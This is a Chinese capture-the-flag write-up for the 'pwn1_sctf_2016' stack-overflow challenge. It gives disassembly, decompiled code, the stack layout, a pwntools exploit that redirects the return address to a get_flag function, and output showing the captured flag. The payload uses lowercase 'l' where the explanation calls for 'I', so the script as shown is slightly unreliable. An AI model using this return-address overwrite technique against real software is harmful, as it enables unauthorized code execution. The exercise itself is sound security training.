是一道比较特别的栈溢出题目
用fgets读入字符，但是会对特定字符进行转换，1换3字符，造成溢出

ida查看注入点以及system函数位置

```
.text:08048F0D get_flag         proc near
.text:08048F0D ; __unwind {
.text:08048F0D                  push    ebp
.text:08048F0E                  mov     ebp, esp
.text:08048F10                  sub     esp, 18h
.text:08048F13                  mov     dword ptr [esp], offset command ; "cat flag.txt"
.text:08048F1A                  call    _system
.text:08048F1F                  leave
.text:08048F20                  retn
.text:08048F20 ; } // starts at 8048F0D
.text:08048F20 get_flag         endp
.text:08048F20
```

```
1 int vuln()
2 {
3   const char *v0; // eax
4   char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
5   char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
6   char v4[7]; // [esp+40h] [ebp-18h] BYREF
7   char v5; // [esp+47h] [ebp-11h] BYREF
8   char v6[7]; // [esp+48h] [ebp-10h] BYREF
9   char v7[5]; // [esp+4Fh] [ebp-9h] BYREF
0
1   printf("Tell me something about yourself: ");
2   fgets(s, 32, edata);
3   std::string::operator=(&input, s);
4   std::allocator<char>::allocator(&v5);
5   std::string::string(v4, "you", &v5);
6   std::allocator<char>::allocator(v7);
7   std::string::string(v6, "I", v7);
8   replace((std::string *)v3);
9   std::string::operator=(&input, v3, v6, v4);
0   std::string::~string(v3);
1   std::string::~string(v6);
2   std::allocator<char>::~allocator(v7);
3   std::string::~string(v4);
4   std::allocator<char>::~allocator(&v5);
5   v0 = (const char *)std::string::c_str((std::string *)&input);
6   strcpy(s, v0);
7   return printf("So, %s\n", s);
8 }
```

乍一看该文件没有突破口，但是实际运行发现
输入I
会得到you

```
root@kali:/home/kali/Desktop/ctf# ./pwn1_sctf_2016
Tell me something about yourself: IIII
So, youyouyouyou

root@kali:/home/kali/Desktop/ctf#
```

然后看IDA的堆栈段

```
-0000003C s               db ?
-0000003B                 db ? ; undefined
-0000003A                 db ? ; undefined
-00000039                 db ? ; undefined
-00000038                 db ? ; undefined
-00000037                 db ? ; undefined
-00000036                 db ? ; undefined
-00000035                 db ? ; undefined
-00000034                 db ? ; undefined
-00000033                 db ? ; undefined
-00000032                 db ? ; undefined
-00000031                 db ? ; undefined
-00000030                 db ? ; undefined
```

```
-00000005                 db ? ; undefined
-00000004 var_4           dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008
```

第一个s是输入

第二个s是ebp的值

r是返回地址

可以得知，只要20个'l'+4个随机字符+返回地址就能实现溢出，得到flag

```
File Edit Format Run Options Window Help
from pwn import *
io = remote('node3.buuoj.cn',29364)
pyload = b'l'*20 + b'a'*4 + p32(0x8048F0D)
io.sendline(pyload)
io.interactive()
```

代码如上。

```
[sudo] kali 的密码：
root@kali:/home/kali/Desktop/ctf# python3 exp.py
[+] Opening connection to node3.buuoj.cn on port 29364: Done
[*] Switching to interactive mode
flag{923db0f0-e8a0-4ba1-90d0-3180efac71f4}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$
[*] Interrupted
```